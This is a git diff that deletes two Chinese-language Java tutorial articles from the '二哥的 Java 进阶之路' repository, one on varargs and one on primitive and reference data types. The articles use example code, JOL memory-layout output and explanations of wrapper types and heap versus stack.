万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/basic-extra-meal/varables.md b/docs/src/basic-extra-meal/varables.md deleted file mode 100644 index df0035e472..0000000000 --- a/docs/src/basic-extra-meal/varables.md +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Java可变参数详解,5分钟教会我妹 -shortTitle: Java可变参数 -category: - - Java核心 -tag: - - Java重要知识点 -description: Java中的可变参数允许您在方法中传入不确定数量的参数,使得方法调用更加灵活。本文将详细介绍可变参数的使用方式、原理以及在实际编程中的应用示例。掌握可变参数的使用,将有助于提高您的Java编程技巧。 -head: - - - meta - - name: keywords - content: java,可变参数 ---- - - -为了让铁粉们能白票到阿里云的服务器,我当了整整两天的客服,真正体验到了什么叫做“为人民群众谋福利”的不易和辛酸。正在我眼睛红肿打算要休息之际,三妹跑过来问:“Java 的可变参数究竟是怎么一回事?”我一下子又清醒了,我爱 Java,我爱传道解惑,也享受三妹的赞许(😂)。 - -可变参数是 Java 1.5 的时候引入的功能,它允许方法使用任意多个、类型相同(`is-a`)的值作为参数。就像下面这样。 - -```java -public static void main(String[] args) { - print("沉"); - print("沉", "默"); - print("沉", "默", "王"); - print("沉", "默", "王", "二"); -} - -public static void print(String... strs) { - for (String s : strs) - System.out.print(s); - System.out.println(); -} -``` - -静态方法 `print()` 就使用了可变参数,所以 `print("沉")` 可以,`print("沉", "默")` 也可以,甚至 3 个、 4 个或者更多个字符串都可以作为参数传递给 `print()` 方法。 - -说到可变参数,我想起来[阿里巴巴开发手册](https://javabetter.cn/pdf/ali-java-shouce.html)上有这样一条规约。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/varables-01.png) - -意思就是尽量不要使用可变参数,如果要用的话,可变参数必须要在参数列表的最后一位。既然坑位有限,只能在最后,那么可变参数就只能有一个(悠着点,悠着点)。如果可变参数不在最后一位,IDE 就会提示对应的错误,如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/varables-02.png) - -可变参数看起来就像是个语法糖,它背后究竟隐藏了什么呢?让我们来一探究竟,在追求真理这条路上我们要执着。 - -其实也很简单。**当使用可变参数的时候,实际上是先创建了一个数组,该数组的大小就是可变参数的个数,然后将参数放入数组当中,再将数组传递给被调用的方法**。 - -这就是为什么可以使用数组作为参数来调用带有可变参数的方法的根本原因。代码如下所示。 - -```java -public static void main(String[] args) { - print(new String[]{"沉"}); - print(new String[]{"沉", "默"}); - print(new String[]{"沉", "默", "王"}); - print(new String[]{"沉", "默", "王", "二"}); -} - -public static void print(String... strs) { - for (String s : strs) - System.out.print(s); - System.out.println(); -} -``` - -那如果方法的参数是一个数组,然后像使用可变参数那样去调用方法的时候,能行得通吗? - -“三妹,给你留个思考题:一般什么时候使用可变参数呢?” - -可变参数,可变参数,顾名思义,当一个方法需要处理任意多个相同类型的对象时,就可以定义可变参数。Java 中有一个很好的例子,就是 String 类的 `format()` 方法,就像下面这样。 - -```java -System.out.println(String.format("年纪是: %d", 18)); -System.out.println(String.format("年纪是: %d 名字是: %s", 18, "沉默王二")); -``` - -`%d` 表示将整数格式化为 10 进制整数,`%s` 表示输出字符串。 - -如果不使用可变参数,那需要格式化的参数就必须使用“+”号操作符拼接起来了。麻烦也就惹上身了。 - -在实际的项目代码中,[slf4j](https://javabetter.cn/gongju/slf4j.html) 的日志输出就经常要用到可变参数([log4j](https://javabetter.cn/gongju/log4j.html) 就没法使用可变参数,日志中需要记录多个参数时就痛苦不堪了)。就像下面这样。 - -```java -protected Logger logger = LoggerFactory.getLogger(getClass()); -logger.debug("名字是{}", mem.getName()); -logger.debug("名字是{},年纪是{}", mem.getName(), mem.getAge()); -``` - -查看源码就可以发现,`debug()` 方法使用了可变参数。 - -```java -public void debug(String format, Object... arguments); -``` - -“那在使用可变参数的时候有什么注意事项吗?”三妹问。 - -有的。我们要避免重载带有可变参数的方法——这样很容易让编译器陷入自我怀疑中。 - -```java -public static void main(String[] args) { - print(null); -} - -public static void print(String... strs) { - for (String a : strs) - System.out.print(a); - System.out.println(); -} - -public static void print(Integer... ints) { - for (Integer i : ints) - System.out.print(i); - System.out.println(); -} -``` - -这时候,编译器完全不知道该调用哪个 `print()` 方法,`print(String... strs)` 还是 `print(Integer... ints)`,傻傻分不清。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-extra-meal/varables-03.png) - -假如真的需要重载带有可变参数的方法,就必须在调用方法的时候给出明确的指示,不要让编译器去猜。 - -```java -public static void main(String[] args) { - String [] strs = null; - print(strs); - - Integer [] ints = null; - print(ints); -} - -public static void print(String... strs) { -} - -public static void print(Integer... ints) { -} -``` - -上面这段代码是可以编译通过的。因为编译器知道参数是 String 类型还是 Integer 类型,只不过为了运行时不抛出 `NullPointerException`,两个 `print()` 方法的内部要做好判空操作。 - -“好了,关于可变参数,我们就先讲到这里吧。三妹,你都理解了吧?” - -“嗯嗯,不难,我理解了,哥。”三妹最近的学习状态真不错,能看得出来,她有在认真地做笔记📒。 - ---- - - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-grammar/basic-data-type.md b/docs/src/basic-grammar/basic-data-type.md deleted file mode 100644 index 2124e7c20e..0000000000 --- a/docs/src/basic-grammar/basic-data-type.md +++ /dev/null @@ -1,692 +0,0 @@ ---- -title: 教妹学Java:10 分钟掌握Java基本数据类型 -shortTitle: Java数据类型 -category: - - Java核心 -tag: - - Java语法基础 -description: 本文详细探讨了Java数据类型,包括比特与字节、基本数据类型、单精度与双精度、int与char互转、包装器类型、引用数据类型以及堆与栈的内存模型。通过阅读本文,您将全面了解Java数据类型的概念与使用方法,为Java编程打下坚实基础。 -head: - - - meta - - name: keywords - content: Java, 数据类型, 比特, 字节, 基本数据类型, 引用数据类型, 单精度, 双精度, int, char, 包装器类型, 堆, 栈, 内存模型, 类型转换 ---- - - -“Java 是一种静态类型的编程语言,这意味着所有变量必须在使用之前声明好,也就是必须得先指定变量的类型和名称。”我吸了一口麦香可可奶茶后对三妹说。 - -Java 中的数据类型可分为 2 种: - -1)**基本数据类型**。 - -基本数据类型是 Java 语言操作数据的基础,包括 boolean、char、byte、short、int、long、float 和 double,共 8 种。 - -2)**引用数据类型**。 - -除了基本数据类型以外的类型,都是所谓的引用类型。常见的有[数组](https://javabetter.cn/array/array.html)(对,没错,数组是引用类型,后面我们会讲)、class(也就是[类](https://javabetter.cn/oo/object-class.html)),以及[接口](https://javabetter.cn/oo/interface.html)(指向的是实现接口的类的对象)。 - -来个思维导图,感受下。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/nine-01.png) - -[变量](https://javabetter.cn/oo/var.html)可以分为局部变量、成员变量、静态变量。 - -当变量是局部变量的时候,必须得先初始化,否则编译器不允许你使用它。拿 int 来举例吧,看下图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/nine-02.png) - -当变量是成员变量或者静态变量时,可以不进行初始化,它们会有一个默认值,仍然以 int 为例,来看代码: - -```java -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class LocalVar { - private int a; - static int b; - - public static void main(String[] args) { - LocalVar lv = new LocalVar(); - System.out.println(lv.a); - System.out.println(b); - } -} -``` - -来看输出结果: - -``` -0 -0 -``` - -瞧见没,int 作为成员变量时或者静态变量时的默认值是 0。那不同的基本数据类型,是有不同的默认值和占用大小的,来个表格感受下。 - -| 数据类型 | 默认值 | 大小 | -| -------- | -------- | ------ | -| boolean | false | 不确定 | -| char | '\u0000' | 2 字节 | -| byte | 0 | 1 字节 | -| short | 0 | 2 字节 | -| int | 0 | 4 字节 | -| long | 0L | 8 字节 | -| float | 0.0f | 4 字节 | -| double | 0.0 | 8 字节 | - -### 01、比特和字节 - -那三妹可能要问,“比特和字节是什么鬼?” - -比特币(Bitcoin)听说过吧?字节跳动(Byte Dance)听说过吧?这些名字当然不是乱起的,确实和比特、字节有关系。 - -#### **1)bit(比特)** - -比特作为信息技术的最基本存储单位,非常小,但大名鼎鼎的比特币就是以此命名的,它的简写为小写字母“b”。 - -大家都知道,计算机是以二进制存储数据的,二进制的一位,就是 1 比特,也就是说,比特要么为 0 要么为 1。 - -#### **2)Byte(字节)** - -通常来说,一个英文字符是一个字节,一个中文字符是两个字节。字节与比特的换算关系是:1 字节 = 8 比特。 - -在往上的单位就是 KB,并不是 1000 字节,因为计算机只认识二进制,因此是 2 的 10 次方,也就是 1024 个字节。 - -(终于知道 1024 和程序员的关系了吧?狗头保命) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/nine-03.png) - -### 02、基本数据类型 - -接下来,我们再来详细地了解一下 8 种基本数据类型。 - -#### 1)布尔 - -布尔(boolean)仅用于存储两个值:true 和 false,也就是真和假,通常用于条件的判断。代码示例: - -```java -boolean hasMoney = true; -boolean hasGirlFriend = false; -``` - -根据 Java 语言规范,boolean 类型只有两个值 true 和 false,但在语言层面,Java 没有明确规定 boolean 类型的大小。 - -那经过我的调查,发现有两种论调。 - -我们先来看论调一。 - -对于单独使用的 boolean 类型,JVM 并没有提供专用的字节码指令,而是使用 int 相关的指令 istore 来处理,那么 int 明确是 4 个字节,所以此时的 boolean 也占用 4 个字节。 - -对于作为数组来使用的 boolean 类型,JVM 会按照 byte 的指令来处理(bastore),那么已知 byte 类型占用 1 个字节,所以此时的 boolean 也占用 1 个字节。 - -![二哥的 Java 进阶之路:javap 验证](https://cdn.paicoding.com/stutymore/basic-data-type-20240602170355.png) - -论调二,布尔具体占用的大小是不确定的,取决于 JVM 的具体实现。 - ->boolean: The boolean data type has only two possible values: true and false. Use this data type for simple flags that track true/false conditions. This data type represents one bit of information, but its "size" isn't something that's precisely defined. - -可以通过 JOL 工具打印出对象的内存布局,展示 boolean 单独使用和作为数组使用时在内存中的实际占用大小。 - -```java -public class BooleanSizeExample { - public static void main(String[] args) { - boolean singleBoolean = true; - boolean[] booleanArray = new boolean[10]; - - // 分析内存占用,可以使用第三方工具如 JOL(Java Object Layout) - System.out.println("Size of single boolean: " + org.openjdk.jol.info.ClassLayout.parseInstance(singleBoolean).toPrintable()); - System.out.println("Size of boolean array: " + org.openjdk.jol.info.ClassLayout.parseInstance(booleanArray).toPrintable()); - } -} -``` - -运行结果如下(64 操作系统 JDK 8): - -``` -Size of single boolean: java.lang.Boolean object internals: - OFFSET SIZE TYPE DESCRIPTION VALUE - 0 4 (object header) 01 00 00 00 (00000001 00000000 00000000 00000000) (1) - 4 4 (object header) 00 00 00 00 (00000000 00000000 00000000 00000000) (0) - 8 4 (object header) dd 20 00 f8 (11011101 00100000 00000000 11111000) (-134209315) - 12 1 boolean Boolean.value true - 13 3 (loss due to the next object alignment) -Instance size: 16 bytes -Space losses: 0 bytes internal + 3 bytes external = 3 bytes total - -Size of boolean array: [Z object internals: - OFFSET SIZE TYPE DESCRIPTION VALUE - 0 4 (object header) 01 00 00 00 (00000001 00000000 00000000 00000000) (1) - 4 4 (object header) 00 00 00 00 (00000000 00000000 00000000 00000000) (0) - 8 4 (object header) 05 00 00 f8 (00000101 00000000 00000000 11111000) (-134217723) - 12 4 (object header) 0a 00 00 00 (00001010 00000000 00000000 00000000) (10) - 16 10 boolean [Z. N/A - 26 6 (loss due to the next object alignment) -Instance size: 32 bytes -Space losses: 0 bytes internal + 6 bytes external = 6 bytes total -``` - -对于单个 boolean 变量来说: - -①、**对象头(Object Header)** 占用了 12 个字节: - -- **OFFSET 0 - 4**:对象头的一部分,包含对象的标记字段(Mark Word),用于存储对象的哈希码、GC 状态等。 -- **OFFSET 4 - 8**:对象头的另一部分,通常是指向类元数据的指针(Class Pointer)。 -- **OFFSET 8 - 12**:对象头的最后一部分,包含锁状态或其他信息。 - -②、实际的 `boolean` 值占用 1 个字节,也就是**OFFSET 12 - 13**。 - -③、为了满足 8 字节的对齐要求(HotSpot JVM 默认的对象对齐方式),有 3 个字节的填充。**OFFSET 13 - 16**。 - -也就是说,尽管 `boolean` 值本身只需要 1 个字节,但由于对象头和对齐要求,一个 `boolean` 在内存中占用 16 字节。 - -对于 `boolean` 数组来说: - -①、**对象头(Object Header)** 占用了 12 个字节: - -- **OFFSET 0 - 4**:对象头的一部分,包含对象的标记字段(Mark Word)。 -- **OFFSET 4 - 8**:对象头的另一部分,包含指向类元数据的指针(Class Pointer)。 -- **OFFSET 8 - 12**:对象头的最后一部分,通常包含数组的长度信息。 - -②、**数组长度** 占用了 4 个字节,此处是 10,**OFFSET 12 - 16**。 - -③、实际的 `boolean` 数组元素,每个 `boolean` 值占用 1 个字节,总共 10 个字节,**OFFSET 16 - 26**。 - -④、为了满足 8 字节对齐要求,有 6 个字节的填充,**OFFSET 26 - 32**。 - -也就是说,每个 `boolean` 数组元素占用 1 个字节,加上对象头、对齐填充和数组长度,包含 10 个元素的 `boolean` 数组占用 32 字节。 - -#### 2)byte - -一个字节可以表示 2^8 = 256 个不同的值。由于 byte 是有符号的,它的值可以是负数或正数,其取值范围是 -128 到 127(包括 -128 和 127)。 - -在网络传输、大文件读写时,为了节省空间,常用字节来作为数据的传输方式。代码示例: - -```java -byte b; // 声明一个 byte 类型变量 -b = 10; // 将值 10 赋给变量 b -byte c = -100; // 声明并初始化一个 byte 类型变量 c,赋值为 -100 -``` - -#### 3)short - -short 的取值范围在 -32,768 和 32,767 之间,包含 32,767。代码示例: - -```java -short s; // 声明一个 short 类型变量 -s = 1000; // 将值 1000 赋给变量 s -short t = -2000; // 声明并初始化一个 short 类型变量 t,赋值为 -2000 -``` - -实际开发中,short 比较少用,整型用 int 就 OK。 - -#### 3)int - -int 的取值范围在 -2,147,483,648(-2 ^ 31)和 2,147,483,647(2 ^ 31 -1)(含)之间。如果没有特殊需求,整型数据就用 int。代码示例: - -```java -int i; // 声明一个 int 类型变量 -i = 1000000; // 将值 1000000 赋给变量 i -int j = -2000000; // 声明并初始化一个 int 类型变量 j,赋值为 -2000000 -``` - -为什么 32 位的有符号整数的取值范围是从 -2^31 到 2^31 - 1 呢? - -这是因为其中一位用于表示符号(正或负),剩下的 31 位用于表示数值,这意味着其范围是 -2,147,483,648(即 -2^31)到 2,147,483,647(即 2^31 - 1)。 - -在二进制系统中,每个位(bit)可以表示两个状态,通常是 0 和 1。对于 32 位得正二进制数,除去符号位,从右到左的每一位分别代表 2^0, 2^1, 2^2, ..., 2^30,这个二进制数转换为十进制就是 2^0 + 2^1 + 2^2 + ... + 2^30,也就是 2,147,483,647。 - -#### 5)long - -long 的取值范围在 -9,223,372,036,854,775,808(-2^63) 和 9,223,372,036,854,775,807(2^63 -1)(含)之间。如果 int 存储不下,就用 long。代码示例: - -```java -long l; // 声明一个 long 类型变量 -l = 100000000000L; // 将值 100000000000L 赋给变量 l(注意要加上 L 后缀) -long m = -20000000000L; // 声明并初始化一个 long 类型变量 m,赋值为 -20000000000L -``` - -为了和 int 作区分,long 型变量在声明的时候,末尾要带上大写的“L”。不用小写的“l”,是因为小写的“l”容易和数字“1”混淆。 - -#### 6)float - -float 是单精度的浮点数(单精度浮点数的有效数字大约为 6 到 7 位),32 位(4 字节),遵循 IEEE 754(二进制浮点数算术标准),取值范围为 1.4E-45 到 3.4E+38。float 不适合用于精确的数值,比如说金额。代码示例: - -```java -float f; // 声明一个 float 类型变量 -f = 3.14159f; // 将值 3.14159f 赋给变量 f(注意要加上 f 后缀) -float g = -2.71828f; // 声明并初始化一个 float 类型变量 g,赋值为 -2.71828f -``` - -为了和 double 作区分,float 型变量在声明的时候,末尾要带上小写的“f”。不需要使用大写的“F”,是因为小写的“f”很容易辨别。 - -#### 7)double - -double 是双精度浮点数(双精度浮点数的有效数字大约为 15 到 17 位),占 64 位(8 字节),也遵循 IEEE 754 标准,取值范围大约 ±4.9E-324 到 ±1.7976931348623157E308。double 同样不适合用于精确的数值,比如说金额。 - -代码示例: - -```java -double myDouble = 3.141592653589793; -``` - -在进行金融计算或需要精确小数计算的场景中,可以使用 [BigDecimal 类](https://javabetter.cn/basic-grammar/bigdecimal-biginteger.html)来避免浮点数舍入误差。BigDecimal 可以表示一个任意大小且精度完全准确的浮点数。 - -> 在实际开发中,如果不是特别大的金额(精确到 0.01 元,也就是一分钱),一般建议乘以 100 转成整型进行处理。 - -#### 8)char - -char 用于表示 Unicode 字符,占 16 位(2 字节)的存储空间,取值范围为 0 到 65,535。 - -代码示例: - -```java -char letterA = 'A'; // 用英文的单引号包裹住。 -``` - -注意,字符字面量应该用单引号('')包围,而不是双引号(""),因为[双引号表示字符串字面量](https://javabetter.cn/string/constant-pool.html)。 - -### 03、单精度和双精度 - -单精度(single-precision)和双精度(double-precision)是指两种不同精度的浮点数表示方法。 - -单精度是这样的格式,1 位符号,8 位指数,23 位小数。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/nine-04.png) - -单精度浮点数通常占用 32 位(4 字节)存储空间。数值范围大约是 ±1.4E-45 到 ±3.4028235E38,精度大约为 6 到 9 位有效数字。 - -双精度是这样的格式,1 位符号,11 位指数,52 为小数。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/nine-05.png) - -双精度浮点数通常占用 64 位(8 字节)存储空间,数值范围大约是 ±4.9E-324 到 ±1.7976931348623157E308,精度大约为 15 到 17 位有效数字。 - -计算精度取决于小数位(尾数)。小数位越多,则能表示的数越大,那么计算精度则越高。 - -一个数由若干位数字组成,其中影响测量精度的数字称作有效数字,也称有效数位。有效数字指科学计算中用以表示一个浮点数精度的那些数字。一般地,指一个用小数形式表示的浮点数中,从第一个非零的数字算起的所有数字。如 1.24 和 0.00124 的有效数字都有 3 位。 - -以下是确定有效数字的一些基本规则: - -- 非零数字总是有效的。 -- 位于两个非零数字之间的零是有效的。 -- 对于小数,从左侧开始的第一个非零数字之前的零是无效的。 -- 对于整数,从右侧开始的第一个非零数字之后的零是无效的。 - -下面是一些示例,说明如何确定有效数字: - -- 1234:4 个有效数字(所有数字都是非零数字) -- 1002:4 个有效数字(零位于两个非零数字之间) -- 0.00234:3 个有效数字(从左侧开始的前两个零是无效的) -- 1200:2 个有效数字(从右侧开始的两个零是无效的) - -### 04、int 和 char 类型互转 - -int 和 char 之间比较特殊,可以互转,也会在以后的学习当中经常遇到。 - -1)可以通过[强制类型转换](https://javabetter.cn/basic-grammar/type-cast.html)将整型 int 转换为字符 char。 - -```java -int value_int = 65; -char value_char = (char) value_int; -System.out.println(value_char); -``` - -输出 `A`(其 [ASCII 值](https://javabetter.cn/basic-extra-meal/java-unicode.html)可以通过整数 65 来表示)。 - -2)可以使用 `Character.forDigit()` 方法将整型 int 转换为字符 char,参数 radix 为基数,十进制为 10,十六进制为 16。。 - -```java -int radix = 10; -int value_int = 6; -char value_char = Character.forDigit(value_int , radix); -System.out.println(value_char ); -``` - -Character 为 char 的包装器类型。我们随后会讲。 - -3)可以使用 int 的包装器类型 Integer 的 `toString()` 方法+String 的 `charAt()` 方法转成 char。 - -```java -int value_int = 1; -char value_char = Integer.toString(value_int).charAt(0); -System.out.println(value_char ); -``` - -4)char 转 int - -当然了,如果只是简单的 char 转 int,直接赋值就可以了。 - -```java -int a = 'a'; -``` - -因为发生了[自动类型转换](https://javabetter.cn/basic-grammar/type-cast.html),后面会细讲。 - -不过,如果字符本身就是数字,这种方法就行不通了。 - -```java -int a = '1'; -``` - -这样的话,a 的值是 49,而不是 1。因为字符 '1' 的 ASCII 码是 49。 - -那么,怎么才能把字符 '1' 转成数字 1 呢? - -可以使用 `Character.getNumericValue()` 方法。 - -```java -int a = Character.getNumericValue('1'); -``` - -这样的话,a 的值就是 1 了。 - -除此之外,还可以使用 `Character.digit()` 方法。 - -```java -int a = Character.digit('1', 10); -``` - -这样的话,a 的值也是 1。 - -因为这两个方法的内部实现都大差不差,大家可以研究一下源码。 - -那还有一种更直观的方法,就是 `- '0'` 方法。 - -```java -int a = '1' - '0'; -``` - -这样的话,a 的值也是 1。这是因为在 ASCII 编码和 Unicode 编码(Java 使用 Unicode 编码)中,数字字符 '0' 到 '9' 是连续排列的,并且它们的编码值是顺序递增的。 - -字符 '0' 的编码值是 48,字符 '1' 的编码值是 49,依此类推,字符 '9' 的编码值是 57。 - -当从一个字符的编码值中减去字符 '0' 的编码值(即 48),结果就是该字符所表示的数字值。例如,对于字符 '5',其编码值是 53。计算 53 - 48 得到 5,这就是字符 '5' 所表示的数字值。 - -### 05、包装器类型 - -包装器类型(Wrapper Types)是 Java 中的一种特殊类型,用于将基本数据类型(如 int、float、char 等)转换为对应的[对象类型](https://javabetter.cn/oo/object-class.html)。 - -Java 提供了以下包装器类型,与基本数据类型一一对应: - -- Byte(对应 byte) -- Short(对应 short) -- Integer(对应 int) -- Long(对应 long) -- Float(对应 float) -- Double(对应 double) -- Character(对应 char) -- Boolean(对应 boolean) - -包装器类型允许我们使用基本数据类型提供的各种实用方法,并兼容需要对象类型的场景。例如,我们可以使用 Integer 类的 parseInt 方法将字符串转换为整数,或使用 Character 类的 isDigit 方法检查字符是否为数字,还有前面提到的 `Character.forDigit()` 方法。 - -下面是一个简单的示例,演示了如何使用包装器类型: - -```java -// 使用 Integer 包装器类型 -Integer integerValue = new Integer(42); -System.out.println("整数值: " + integerValue); - -// 将字符串转换为整数 -String numberString = "123"; -int parsedNumber = Integer.parseInt(numberString); -System.out.println("整数值: " + parsedNumber); - -// 使用 Character 包装器类型 -Character charValue = new Character('A'); -System.out.println("字符: " + charValue); - -// 检查字符是否为数字 -char testChar = '9'; -if (Character.isDigit(testChar)) { -System.out.println("字符是个数字."); -} -``` - -上面的示例中,我们创建了一个 [Integer 类型](https://javabetter.cn/basic-extra-meal/int-cache.html)的对象 integerValue 并为其赋值 42。然后,我们将其值打印到控制台。 - -我们有一个包含数字的[字符串](https://javabetter.cn/string/immutable.html) numberString。我们使用 `Integer.parseInt()` 方法将其转换为整数 parsedNumber。然后,我们将转换后的值打印到控制台。 - -比如说 `parseInt()` 用于将字符串转换为整数,这也是非常常用的一个方法,尤其是遇到“数字字符串”转整数的时候。 - -```java -String text = "123"; -int number = Integer.parseInt(text); -System.out.println(number); -``` - -可以简单看一下 `parseInt()` 的源码: - -```java -public static int parseInt(String s, int radix) throws NumberFormatException { - // 如果字符串为空或基数不在有效范围内,抛出 NumberFormatException - if (s == null || radix < Character.MIN_RADIX || radix > Character.MAX_RADIX) { - throw new NumberFormatException(); - } - - int result = 0; // 用于存储解析结果的变量 - boolean negative = false; // 标记数字是否为负数 - int i = 0, len = s.length(); // i 是字符索引,len 是字符串长度 - int limit = -Integer.MAX_VALUE; // 溢出检查的上限 - - if (len > 0) { - char firstChar = s.charAt(0); // 获取字符串的第一个字符 - if (firstChar == '-') { // 如果是负号 - negative = true; // 设置负数标记 - limit = Integer.MIN_VALUE; // 调整溢出上限为 Integer 的最小值 - i++; - } else if (firstChar == '+') { // 如果是正号 - i++; // 仅跳过,不做额外操作 - } - - int multmin = limit / radix; // 计算溢出检查的临界值 - while (i < len) { - // 将字符转换为对应的数字值 - int digit = Character.digit(s.charAt(i++), radix); - if (digit < 0 || result < multmin || result * radix < limit + digit) { - // 如果字符不是有效数字或者结果溢出,抛出 NumberFormatException - throw new NumberFormatException(); - } - // 累积结果 - result = result * radix - digit; - } - } else { - // 如果字符串为空,抛出 NumberFormatException - throw new NumberFormatException(); - } - - // 根据正负号返回最终结果 - return negative ? result : -result; -} -``` - -简单解释一下: - -1. **空值检查**:首先检查输入字符串是否为 `null`,如果是,则抛出 `NumberFormatException`。 - -2. **符号处理**:检查字符串的第一个字符以确定数字的符号(正或负)。如果字符串以“-”开头,则数字为负数,以“+”或数字开头则为正数。 - -3. **数字转换**:遍历字符串中的每个字符,将字符转换为对应的数字。这是通过从字符中减去 '0' 的 ASCII 值来实现的。 - -4. **结果计算**:计算最终的数字值。这是通过将每个数字乘以其位置权重(10 的幂)并累加到结果中来完成的。 - -5. **溢出检查**:在整个转换过程中,代码会检查是否有溢出的风险。如果检测到溢出,将抛出 `NumberFormatException`。 - -6. **返回结果**:根据数字的符号返回最终结果。 - -这个源码对以后学习 LeetCode 的第八题「[字符串转换整数 (atoi)](https://leetcode-cn.com/problems/string-to-integer-atoi/)」非常有帮助,题解我已经放到技术派的《[二哥的 LeetCode 刷题笔记](https://paicoding.com/column/7/8)》中,可以作为参考。 - -我们有一个字符变量 testChar,并为其赋值字符 '9'。我们使用 `Character.isDigit()` 方法检查 testChar 是否为数字字符。如果是数字字符,我们将输出一条消息到控制台。 - -从 Java 5 开始,[自动装箱(Autoboxing)和自动拆箱(Unboxing)机制](https://javabetter.cn/basic-extra-meal/box.html)允许我们在基本数据类型和包装器类型之间自动转换,无需显式地调用构造方法或转换方法(链接里会细讲)。 - -```java -Integer integerValue = 42; // 自动装箱,等同于 new Integer(42) -int primitiveValue = integerValue; // 自动拆箱,等同于 integerValue.intValue() -``` - -### 06、引用数据类型 - -基本数据类型在作为成员变量和静态变量的时候有默认值,引用数据类型也有的(学完数组&字符串,以及面向对象编程后会更加清楚,这里先简单过一下)。 - -[String](https://javabetter.cn/string/immutable.html) 是最典型的引用数据类型,所以我们就拿 String 类举例,看下面这段代码: - -```java -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class LocalRef { - private String a; - static String b; - - public static void main(String[] args) { - LocalRef lv = new LocalRef(); - System.out.println(lv.a); - System.out.println(b); - } -} -``` - -输出结果如下所示: - -``` -null -null -``` - -null 在 Java 中是一个很神奇的存在,在你以后的程序生涯中,见它的次数不会少,尤其是伴随着令人烦恼的“[空指针异常](https://javabetter.cn/exception/npe.html)”,也就是所谓的 `NullPointerException`。 - -也就是说,引用数据类型的默认值为 null,包括数组和接口。 - -那你是不是很好奇,为什么[数组](https://javabetter.cn/array/array.html)和[接口](https://javabetter.cn/oo/interface.html)也是引用数据类型啊? - -先来看数组: - -```java -int [] arrays = {1,2,3}; -System.out.println(arrays); -``` - -arrays 是一个 int 类型的数组,对吧?打印结果如下所示: - -``` -[I@2d209079 -``` - -`[I` 表示数组是 int 类型的,@ 后面是十六进制的 hashCode——这样的打印结果太“人性化”了,一般人表示看不懂!为什么会这样显示呢?查看一下 `java.lang.Object` 类的 `toString()` 方法就明白了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/nine-06.png) - -数组虽然没有显式定义成一个类,但它的确是一个对象,继承了祖先类 Object 的所有方法。那为什么数组不单独定义一个类来表示呢?就像字符串 String 类那样呢? - -一个合理的解释是 Java 将其隐藏了。假如真的存在一个 Array.java,我们也可以假想它真实的样子,它必须要定义一个容器来存放数组的元素,就像 String 类那样。 - -```java -public final class String - implements java.io.Serializable, Comparable, CharSequence { - /** The value is used for character storage. */ - private final char value[]; -} -``` - -数组内部定义数组?没必要的! - -再来看接口: - -```java -List list = new ArrayList<>(); -System.out.println(list); -``` - -[List](https://javabetter.cn/collection/gailan.html) 是一个非常典型的接口: - -```java -public interface List extends Collection {} -``` - -而 [ArrayList](https://javabetter.cn/collection/arraylist.html) 是 List 接口的一个实现: - -```java -public class ArrayList extends AbstractList - implements List, RandomAccess, Cloneable, java.io.Serializable -{} -``` - -对于接口类型的引用变量来说,你没法直接 new 一个: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/core-grammar/nine-07.png) - -只能 new 一个实现它的类的对象——那自然接口也是引用数据类型了。 - -来看一下基本数据类型和引用数据类型之间最大的差别。 - -基本数据类型: - -- 1、变量名指向具体的数值。 -- 2、基本数据类型存储在栈上。 - -引用数据类型: - -- 1、变量名指向的是存储对象的内存地址,在栈上。 -- 2、内存地址指向的对象存储在堆上。 - -### 07、堆和栈 - -看到这,三妹是不是又要问,“堆是什么,栈又是什么?” - -堆是堆(heap),栈是栈(stack),如果看到“堆栈”的话,请不要怀疑自己,那是翻译的错,堆栈也是栈,反正我很不喜欢“堆栈”这种叫法,容易让新人掉坑里。 - -堆是在程序运行时在内存中申请的空间(可理解为动态的过程);切记,不是在编译时;因此,Java 中的对象就放在这里,这样做的好处就是: - -> 当需要一个对象时,只需要通过 new 关键字写一行代码即可,当执行这行代码时,会自动在内存的“堆”区分配空间——这样就很灵活。 - -栈,能够和处理器(CPU,也就是脑子)直接关联,因此访问速度更快。既然访问速度快,要好好利用啊!Java 就把对象的引用放在栈里。为什么呢?因为引用的使用频率高吗? - -不是的,因为 Java 在编译程序时,必须明确的知道存储在栈里的东西的生命周期,否则就没法释放旧的内存来开辟新的内存空间存放引用——空间就那么大,前浪要把后浪拍死在沙滩上啊。 - -这么说就理解了吧? - -如果还不理解的话,可以看一下这个视频,讲的非常不错:[什么是堆?什么是栈?他们之间有什么区别和联系?](https://www.zhihu.com/question/19729973/answer/2238950166) - -用图来表示一下,左侧是栈,右侧是堆。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-grammar/basic-data-type-dc26645a-3ed8-4ad4-815d-52528ad12d6b.png) - 